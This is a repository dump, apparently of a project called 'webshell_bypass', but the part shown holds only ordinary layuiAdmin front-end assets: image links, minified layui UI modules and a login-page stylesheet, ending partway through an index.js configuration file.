https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/28.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/29.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/29.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/3.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/3.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/30.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/30.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/31.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/31.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/32.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/32.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/33.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/33.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/34.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/34.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/35.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/35.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/36.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/36.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/37.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/37.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/38.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/38.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/39.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/39.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/4.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/4.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/40.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/40.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/41.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/41.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/42.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/42.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/43.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/43.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/44.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/44.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/45.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/45.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/46.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/46.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/47.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/47.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/48.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/48.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/49.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/49.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/5.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/5.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/50.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/50.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/51.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/51.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/52.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/52.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/53.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/53.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/54.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/54.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/55.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/55.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/56.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/56.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/57.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/57.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/58.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/58.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/59.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/59.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/6.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/6.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/60.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/60.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/61.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/61.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/62.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/62.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/63.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/63.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/64.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/64.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/65.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/65.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/66.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/66.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/67.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/67.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/68.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/68.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/69.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/69.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/7.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/7.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/70.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/70.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/71.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/71.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/8.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/8.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/images/face/9.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/images/face/9.gif -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/lay/all-mobile.js: -------------------------------------------------------------------------------- 1 | /** 2 | 3 | @Name:用于打包移动完整版 4 | @Author:贤心 5 | @License:LGPL 6 | 7 | */ 8 | 9 | layui.define(function(exports){ 10 | exports('layui.mobile', layui.v); 11 | }); 12 | -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/lay/all.js: -------------------------------------------------------------------------------- 1 | /** 2 | 3 | @Name:用于打包PC完整版,即包含layui.js和所有模块的完整合并(该文件不会存在于构建后的目录) 4 | @Author:贤心 5 | @License:LGPL 6 | 7 | */ 8 | 9 | layui.define(function(exports){ 10 | var cache = layui.cache; 11 | layui.config({ 12 | dir: cache.dir.replace(/lay\/dest\/$/, '') 13 | }); 14 | exports('layui.all', layui.v); 15 | }); 16 | -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/lay/modules/code.js: -------------------------------------------------------------------------------- 1 | /** layui-v2.4.3 MIT License By https://www.layui.com */ 2 | ;layui.define("jquery",function(e){"use strict";var a=layui.$,l="http://www.layui.com/doc/modules/code.html";e("code",function(e){var t=[];e=e||{},e.elem=a(e.elem||".layui-code"),e.about=!("about"in e)||e.about,e.elem.each(function(){t.push(this)}),layui.each(t.reverse(),function(t,i){var c=a(i),o=c.html();(c.attr("lay-encode")||e.encode)&&(o=o.replace(/&(?!#?[a-zA-Z0-9]+;)/g,"&").replace(//g,">").replace(/'/g,"'").replace(/"/g,""")),c.html('
  1. '+o.replace(/[\r\t\n]+/g,"
  2. ")+"
"),c.find(">.layui-code-h3")[0]||c.prepend('

'+(c.attr("lay-title")||e.title||"code")+(e.about?'layui.code':"")+"

");var d=c.find(">.layui-code-ol");c.addClass("layui-box layui-code-view"),(c.attr("lay-skin")||e.skin)&&c.addClass("layui-code-"+(c.attr("lay-skin")||e.skin)),(d.find("li").length/100|0)>0&&d.css("margin-left",(d.find("li").length/100|0)+"px"),(c.attr("lay-height")||e.height)&&d.css("max-height",c.attr("lay-height")||e.height)})})}).addcss("modules/code.css","skincodecss"); -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/lay/modules/flow.js: -------------------------------------------------------------------------------- 1 | /** layui-v2.4.3 MIT License By https://www.layui.com */ 2 | ;layui.define("jquery",function(e){"use strict";var l=layui.$,o=function(e){},t='';o.prototype.load=function(e){var o,i,n,r,a=this,c=0;e=e||{};var f=l(e.elem);if(f[0]){var m=l(e.scrollElem||document),u=e.mb||50,s=!("isAuto"in e)||e.isAuto,v=e.end||"没有更多了",y=e.scrollElem&&e.scrollElem!==document,d="加载更多",h=l('");f.find(".layui-flow-more")[0]||f.append(h);var p=function(e,t){e=l(e),h.before(e),t=0==t||null,t?h.html(v):h.find("a").html(d),i=t,o=null,n&&n()},g=function(){o=!0,h.find("a").html(t),"function"==typeof e.done&&e.done(++c,p)};if(g(),h.find("a").on("click",function(){l(this);i||o||g()}),e.isLazyimg)var n=a.lazyimg({elem:e.elem+" img",scrollElem:e.scrollElem});return s?(m.on("scroll",function(){var e=l(this),t=e.scrollTop();r&&clearTimeout(r),i||(r=setTimeout(function(){var i=y?e.height():l(window).height(),n=y?e.prop("scrollHeight"):document.documentElement.scrollHeight;n-t-i<=u&&(o||g())},100))}),a):a}},o.prototype.lazyimg=function(e){var o,t=this,i=0;e=e||{};var n=l(e.scrollElem||document),r=e.elem||"img",a=e.scrollElem&&e.scrollElem!==document,c=function(e,l){var o=n.scrollTop(),r=o+l,c=a?function(){return e.offset().top-n.offset().top+o}():e.offset().top;if(c>=o&&c<=r&&!e.attr("src")){var m=e.attr("lay-src");layui.img(m,function(){var l=t.lazyimg.elem.eq(i);e.attr("src",m).removeAttr("lay-src"),l[0]&&f(l),i++})}},f=function(e,o){var f=a?(o||n).height():l(window).height(),m=n.scrollTop(),u=m+f;if(t.lazyimg.elem=l(r),e)c(e,f);else for(var s=0;su)break}};if(f(),!o){var m;n.on("scroll",function(){var e=l(this);m&&clearTimeout(m),m=setTimeout(function(){f(null,e)},50)}),o=!0}return f},e("flow",new o)}); -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/lay/modules/laytpl.js: -------------------------------------------------------------------------------- 1 | /** layui-v2.4.3 MIT License By https://www.layui.com */ 2 | ;layui.define(function(e){"use strict";var r={open:"{{",close:"}}"},c={exp:function(e){return new RegExp(e,"g")},query:function(e,c,t){var o=["#([\\s\\S])+?","([^{#}])*?"][e||0];return n((c||"")+r.open+o+r.close+(t||""))},escape:function(e){return String(e||"").replace(/&(?!#?[a-zA-Z0-9]+;)/g,"&").replace(//g,">").replace(/'/g,"'").replace(/"/g,""")},error:function(e,r){var c="Laytpl Error:";return"object"==typeof console&&console.error(c+e+"\n"+(r||"")),c+e}},n=c.exp,t=function(e){this.tpl=e};t.pt=t.prototype,window.errors=0,t.pt.parse=function(e,t){var o=this,p=e,a=n("^"+r.open+"#",""),l=n(r.close+"$","");e=e.replace(/\s+|\r|\t|\n/g," ").replace(n(r.open+"#"),r.open+"# ").replace(n(r.close+"}"),"} "+r.close).replace(/\\/g,"\\\\").replace(n(r.open+"!(.+?)!"+r.close),function(e){return e=e.replace(n("^"+r.open+"!"),"").replace(n("!"+r.close),"").replace(n(r.open+"|"+r.close),function(e){return e.replace(/(.)/g,"\\$1")})}).replace(/(?="|')/g,"\\").replace(c.query(),function(e){return e=e.replace(a,"").replace(l,""),'";'+e.replace(/\\/g,"")+';view+="'}).replace(c.query(1),function(e){var c='"+(';return e.replace(/\s/g,"")===r.open+r.close?"":(e=e.replace(n(r.open+"|"+r.close),""),/^=/.test(e)&&(e=e.replace(/^=/,""),c='"+_escape_('),c+e.replace(/\\/g,"")+')+"')}),e='"use strict";var view = "'+e+'";return view;';try{return o.cache=e=new Function("d, _escape_",e),e(t,c.escape)}catch(u){return delete o.cache,c.error(u,p)}},t.pt.render=function(e,r){var n,t=this;return e?(n=t.cache?t.cache(e,c.escape):t.parse(t.tpl,e),r?void r(n):n):c.error("no data")};var o=function(e){return"string"!=typeof e?c.error("Template not found"):new t(e)};o.config=function(e){e=e||{};for(var c in e)r[c]=e[c]},o.v="1.2.0",e("laytpl",o)}); -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/lay/modules/mobile/layim-mobile-open.js: -------------------------------------------------------------------------------- 1 | /** 2 | 3 | @Name:layim mobile 开源包 4 | @Author:贤心 5 | @License:MIT 6 | 7 | */ 8 | 9 | layui.define(function(exports){ 10 | exports('layim-mobile', layui.v); 11 | }); -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/lay/modules/rate.js: -------------------------------------------------------------------------------- 1 | /** layui-v2.4.3 MIT License By https://www.layui.com */ 2 | ;layui.define("jquery",function(e){"use strict";var a=layui.jquery,i={config:{},index:layui.rate?layui.rate.index+1e4:0,set:function(e){var i=this;return i.config=a.extend({},i.config,e),i},on:function(e,a){return layui.onevent.call(this,n,e,a)}},l=function(){var e=this,a=e.config;return{setvalue:function(a){e.setvalue.call(e,a)},config:a}},n="rate",t="layui-rate",o="layui-icon-rate",s="layui-icon-rate-solid",u="layui-icon-rate-half",r="layui-icon-rate-solid layui-icon-rate-half",c="layui-icon-rate-solid layui-icon-rate",f="layui-icon-rate layui-icon-rate-half",v=function(e){var l=this;l.index=++i.index,l.config=a.extend({},l.config,i.config,e),l.render()};v.prototype.config={length:5,text:!1,readonly:!1,half:!1,value:0,theme:""},v.prototype.render=function(){var e=this,i=e.config,l=i.theme?'style="color: '+i.theme+';"':"";i.elem=a(i.elem),parseInt(i.value)!==i.value&&(i.half||(i.value=Math.ceil(i.value)-i.value<.5?Math.ceil(i.value):Math.floor(i.value)));for(var n='
    ",u=1;u<=i.length;u++){var r='
  • ";i.half&&parseInt(i.value)!==i.value&&u==Math.ceil(i.value)?n=n+'
  • ":n+=r}n+="
"+(i.text?''+i.value+"星":"")+"";var c=i.elem,f=c.next("."+t);f[0]&&f.remove(),e.elemTemp=a(n),i.span=e.elemTemp.next("span"),i.setText&&i.setText(i.value),c.html(e.elemTemp),c.addClass("layui-inline"),i.readonly||e.action()},v.prototype.setvalue=function(e){var a=this,i=a.config;i.value=e,a.render()},v.prototype.action=function(){var e=this,i=e.config,l=e.elemTemp,n=l.find("i").width();l.children("li").each(function(e){var t=e+1,v=a(this);v.on("click",function(e){if(i.value=t,i.half){var o=e.pageX-a(this).offset().left;o<=n/2&&(i.value=i.value-.5)}i.text&&l.next("span").text(i.value+"星"),i.choose&&i.choose(i.value),i.setText&&i.setText(i.value)}),v.on("mousemove",function(e){if(l.find("i").each(function(){a(this).addClass(o).removeClass(r)}),l.find("i:lt("+t+")").each(function(){a(this).addClass(s).removeClass(f)}),i.half){var c=e.pageX-a(this).offset().left;c<=n/2&&v.children("i").addClass(u).removeClass(s)}}),v.on("mouseleave",function(){l.find("i").each(function(){a(this).addClass(o).removeClass(r)}),l.find("i:lt("+Math.floor(i.value)+")").each(function(){a(this).addClass(s).removeClass(f)}),i.half&&parseInt(i.value)!==i.value&&l.children("li:eq("+Math.floor(i.value)+")").children("i").addClass(u).removeClass(c)})})},v.prototype.events=function(){var e=this;e.config},i.render=function(e){var a=new v(e);return l.call(a)},e(n,i)}); -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/lay/modules/tree.js: -------------------------------------------------------------------------------- 1 | /** layui-v2.4.3 MIT License By https://www.layui.com */ 2 | ;layui.define("jquery",function(e){"use strict";var o=layui.$,a=layui.hint(),i="layui-tree-enter",r=function(e){this.options=e},t={arrow:["",""],checkbox:["",""],radio:["",""],branch:["",""],leaf:""};r.prototype.init=function(e){var o=this;e.addClass("layui-box layui-tree"),o.options.skin&&e.addClass("layui-tree-skin-"+o.options.skin),o.tree(e),o.on(e)},r.prototype.tree=function(e,a){var i=this,r=i.options,n=a||r.nodes;layui.each(n,function(a,n){var l=n.children&&n.children.length>0,c=o('
    '),s=o(["
  • ",function(){return l?''+(n.spread?t.arrow[1]:t.arrow[0])+"":""}(),function(){return r.check?''+("checkbox"===r.check?t.checkbox[0]:"radio"===r.check?t.radio[0]:"")+"":""}(),function(){return'"+(''+(l?n.spread?t.branch[1]:t.branch[0]:t.leaf)+"")+(""+(n.name||"未命名")+"")}(),"
  • "].join(""));l&&(s.append(c),i.tree(c,n.children)),e.append(s),"function"==typeof r.click&&i.click(s,n),i.spread(s,n),r.drag&&i.drag(s,n)})},r.prototype.click=function(e,o){var a=this,i=a.options;e.children("a").on("click",function(e){layui.stope(e),i.click(o)})},r.prototype.spread=function(e,o){var a=this,i=(a.options,e.children(".layui-tree-spread")),r=e.children("ul"),n=e.children("a"),l=function(){e.data("spread")?(e.data("spread",null),r.removeClass("layui-show"),i.html(t.arrow[0]),n.find(".layui-icon").html(t.branch[0])):(e.data("spread",!0),r.addClass("layui-show"),i.html(t.arrow[1]),n.find(".layui-icon").html(t.branch[1]))};r[0]&&(i.on("click",l),n.on("dblclick",l))},r.prototype.on=function(e){var a=this,r=a.options,t="layui-tree-drag";e.find("i").on("selectstart",function(e){return!1}),r.drag&&o(document).on("mousemove",function(e){var i=a.move;if(i.from){var r=(i.to,o('
    '));e.preventDefault(),o("."+t)[0]||o("body").append(r);var n=o("."+t)[0]?o("."+t):r;n.addClass("layui-show").html(i.from.elem.children("a").html()),n.css({left:e.pageX+10,top:e.pageY+10})}}).on("mouseup",function(){var e=a.move;e.from&&(e.from.elem.children("a").removeClass(i),e.to&&e.to.elem.children("a").removeClass(i),a.move={},o("."+t).remove())})},r.prototype.move={},r.prototype.drag=function(e,a){var r=this,t=(r.options,e.children("a")),n=function(){var t=o(this),n=r.move;n.from&&(n.to={item:a,elem:e},t.addClass(i))};t.on("mousedown",function(){var o=r.move;o.from={item:a,elem:e}}),t.on("mouseenter",n).on("mousemove",n).on("mouseleave",function(){var e=o(this),a=r.move;a.from&&(delete a.to,e.removeClass(i))})},e("tree",function(e){var i=new r(e=e||{}),t=o(e.elem);return t[0]?void i.init(t):a.error("layui.tree 没有找到"+e.elem+"元素")})}); -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/style/login.css: -------------------------------------------------------------------------------- 1 | /** 2 | 3 | @Name:layuiAdmin 登入注册页 4 | @Author:贤心 5 | @Site:http://www.layui.com/admin/ 6 | @License:GPL-2 7 | 8 | */ 9 | 10 | html,body,#LAY_app{height:100%;} 11 | .layui-layout-body{overflow: auto;} 12 | 13 | #LAY-user-login, 14 | .layadmin-user-display-show{display: block !important;} 15 | .layadmin-user-login{position: relative; left: 0; top: 0; padding: 110px 0; min-height: 100%; box-sizing: border-box;} 16 | .layadmin-user-login-main{width: 375px; margin: 0 auto; box-sizing: border-box;} 17 | .layadmin-user-login-box{padding: 20px;} 18 | .layadmin-user-login-header{text-align: center;} 19 | .layadmin-user-login-header h2{margin-bottom: 10px; font-weight: 300; font-size: 30px; color: #000;} 20 | .layadmin-user-login-header p{font-weight: 300; color: #999;} 21 | 22 | .layadmin-user-login-body .layui-form-item{position: relative;} 23 | .layadmin-user-login-icon{position: absolute; left: 1px; top: 1px; width: 38px; line-height: 36px; text-align: center; color: #d2d2d2;} 24 | .layadmin-user-login-body .layui-form-item .layui-input{padding-left: 38px;} 25 | .layadmin-user-login-codeimg{max-height: 38px; width: 100%; cursor: pointer; box-sizing: border-box;} 26 | 27 | .layadmin-user-login-other{position: relative; font-size: 0; line-height: 38px; padding-top: 20px;} 28 | .layadmin-user-login-other>*{display: inline-block; vertical-align: middle; margin-right: 10px; font-size: 14px;} 29 | .layadmin-user-login-other .layui-icon{position: relative; top: 2px; font-size: 26px;} 30 | .layadmin-user-login-other a:hover{opacity: 0.8;} 31 | 32 | .layadmin-user-jump-change{float: right;} 33 | 34 | .layadmin-user-login-footer{position: absolute; left: 0; bottom: 0; width: 100%; line-height: 30px; padding: 20px; text-align: center; box-sizing: border-box; color: rgba(0,0,0,.5)} 35 | .layadmin-user-login-footer span{padding: 0 5px;} 36 | .layadmin-user-login-footer a{padding: 0 5px; color: rgba(0,0,0,.5);} 37 | .layadmin-user-login-footer a:hover{color: rgba(0,0,0,1);} 38 | 39 | /* 有背景图时 */ 40 | .layadmin-user-login-main[bgimg]{background-color: #fff; box-shadow: 0 0 5px rgba(0,0,0,0.05);} 41 | 42 | /* 主题背景 */ 43 | .ladmin-user-login-theme{position: fixed; bottom: 0; left: 0; width: 100%; text-align: center;} 44 | .ladmin-user-login-theme ul{display: inline-block; padding: 5px; background-color: #fff;} 45 | .ladmin-user-login-theme ul li{display: inline-block; vertical-align: top; width: 64px; height: 43px; cursor: pointer; transition: all .3s; -webkit-transition: all .3s; background-color: #f2f2f2;} 46 | .ladmin-user-login-theme ul li:hover{opacity: 0.9} 47 | 48 | @media screen and (max-width: 768px) { 49 | .layadmin-user-login{padding-top: 60px;} 50 | .layadmin-user-login-main{width: 300px;} 51 | .layadmin-user-login-box{padding: 10px;} 52 | } 53 | 54 | 55 | 56 | -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/style/res/bg-none.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/style/res/bg-none.jpg -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/style/res/layui-logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/style/res/layui-logo.jpg -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/style/res/logo-black.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/style/res/logo-black.png -------------------------------------------------------------------------------- /Index/assets/layuiadmin/layui/style/res/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/layuiadmin/layui/style/res/logo.png -------------------------------------------------------------------------------- /Index/assets/layuiadmin/lib/index.js: -------------------------------------------------------------------------------- 1 | /** 2 | 3 | @Name:layuiAdmin iframe版主入口 4 | @Author:贤心 5 | @Site:http://www.layui.com/admin/ 6 | @License:LPPL 7 | 8 | */ 9 | 10 | layui.extend({ 11 | setter: 'config' //配置模块 12 | ,admin: 'lib/admin' //核心模块 13 | ,view: 'lib/view' 